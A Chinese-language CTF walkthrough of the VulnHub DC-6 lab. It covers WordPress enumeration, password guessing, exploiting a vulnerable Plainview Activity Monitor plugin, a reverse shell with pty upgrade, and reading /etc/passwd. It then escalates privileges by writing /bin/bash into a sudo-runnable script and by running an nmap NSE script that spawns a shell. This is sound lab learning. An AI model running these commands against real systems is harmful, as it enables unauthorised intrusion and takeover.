VulnHub DC-6 靶机渗透测试笔记
靶机信息
- 靶机名称:DC-6
- 靶机来源:VulnHub
- 目标:获取 root 权限,找到最终 flag
- 难度:⭐⭐⭐☆☆(中等)
- 涉及技术:信息收集、WordPress 插件漏洞、命令执行、SSH登录、sudo 提权、nmap 脚本提权
一、信息收集
1.1 主机发现

目标 IP:192.168.168.169
1.2 端口与服务扫描
1 | nmap -A -p- 192.168.168.169 |

1.3 配置域名解析
访问 192.168.168.169 时自动跳转到了域名,导致打不开:

需要修改 hosts 文件配置域名解析。
Windows 修改 hosts:
1 | C:\Windows\System32\drivers\etc\hosts |
Kali 修改 hosts:
1 | echo "192.168.168.169 wordy" >> /etc/hosts |
二、WordPress 信息收集
CMS 是 WordPress:

提示这个漏洞肯定和插件有关。

2.1 WPScan 扫描
1 | wpscan --url http://wordy/ |

1 | http://wordy/wp-content/uploads/ 没用 |

2.2 目录扫描
1 | dirsearch -u http://wordy |

找到后台登录地址:http://wordy/wp-login.php

2.3 枚举用户名
1 | wpscan --url http://wordy/ -e u |

创建用户名字典:
1 | echo -e "admin\njens\ngraham\nmark\nsarah" > users.txt |
三、密码爆破
尝试用 cewl 生成专属字典爆破:
1 | cewl -w passwords.txt http://wordy/ |
但是没成功,换个字典。
看了下别人的 wp,mark 的密码是
helpdesk01,在 rockyou.txt 字典的七百多万行,额,太久了,直接登录吧。
登录成功:

四、插件漏洞利用
4.1 扫描插件漏洞
1 | wpscan --url http://wordy/ -e ap --plugins-detection aggressive |
WPScan 插件扫描深度对比:
| 指令 | 扫描深度 | 效果 |
|---|---|---|
| wpscan –url http://wordy/ | 被动(Passive) | 只看 HTML 源码,只能发现 2-3 个最明显的插件 |
| wpscan –url … -e vp | 仅漏洞(Vulnerable) | 只查找已知有漏洞的插件 |
| wpscan –url … -e ap | 全部(All) | 扫描几百个常用插件的路径 |
| … –plugins-detection aggressive | 激进(Aggressive) | 暴力猜测数千个插件路径 |

4.2 搜索插件漏洞 exp
1 | searchsploit plainview activity |

快捷复制 exp 文件:
1 | searchsploit -m 45274 |

4.3 利用漏洞
1 | python -m http.server 5566 |
失败了换成下面那个运行 python 文件:

成功取得 Web 权限,查看当前权限:

五、反弹 Shell
1 | # 靶机执行 |
升级为交互式终端:
1 | python -c 'import pty;pty.spawn("/bin/bash")' |

查看系统用户:
1 | cat /etc/passwd |

六、横向移动
6.1 找到 graham 的密码
在 mark 的目录下找到 graham 的密码:GSo7isUM1D4

6.2 SSH 登录
因为之前的链接总是断,换成 SSH:
1 | ssh graham@192.168.168.169 |

七、提权
7.1 发现 backups.sh
在 jens 目录下找到一个 sh 文件:


查看 sudo 权限:
1 | sudo -l |
graham 没权限运行:

jens 可以无密码运行:
1 | (jens) NOPASSWD: /home/jens/backups.sh |
这行的意思是: 系统允许用户 graham 使用 sudo 命令,伪装成 jens 用户来执行这个指定的脚本,而且不需要输入密码。
但是执行完了后还是 graham 用户,因为 jens 权限没留下,而 graham 又有写入权限,那么写入 sh,以 jens 用户执行时就会弹出 jens 的权限:
1 | echo "/bin/bash" >> backups.sh |

7.2 nmap 脚本提权
查看 GTFOBins:https://gtfobins.org/gtfobins/nmap/
不过这网站上记录的是老版本的,用不了,需要换种方式。
使用 nmap 的 --script 参数执行自定义脚本:
1 | echo 'os.execute("/bin/sh")' > /tmp/shell.nse |

出了点问题,不过很好解决:

虽然不显示,但仍然有效(复制粘贴就行),或者用
python -c 'import pty;pty.spawn("/bin/bash")'也可以,也有可能是我的 xshell 的原因。
7.3 获取 flag
成功提权到 root,取得 flag:

八、渗透流程总结
1 | 信息收集(nmap) |
九、涉及工具汇总
| 工具 | 用途 |
|---|---|
| nmap | 端口扫描、服务识别 |
| WPScan | WordPress 专项扫描 |
| dirsearch | Web 目录扫描 |
| cewl | 网站内容生成字典 |
| searchsploit | 本地漏洞库搜索 |
| nc | 反弹 Shell |
| SSH | 稳定连接 |
| GTFOBins | sudo/SUID 提权查询 |
本文为 VulnHub DC-6 靶机学习笔记,所有操作均在本地搭建的靶场环境中完成,仅用于学习交流。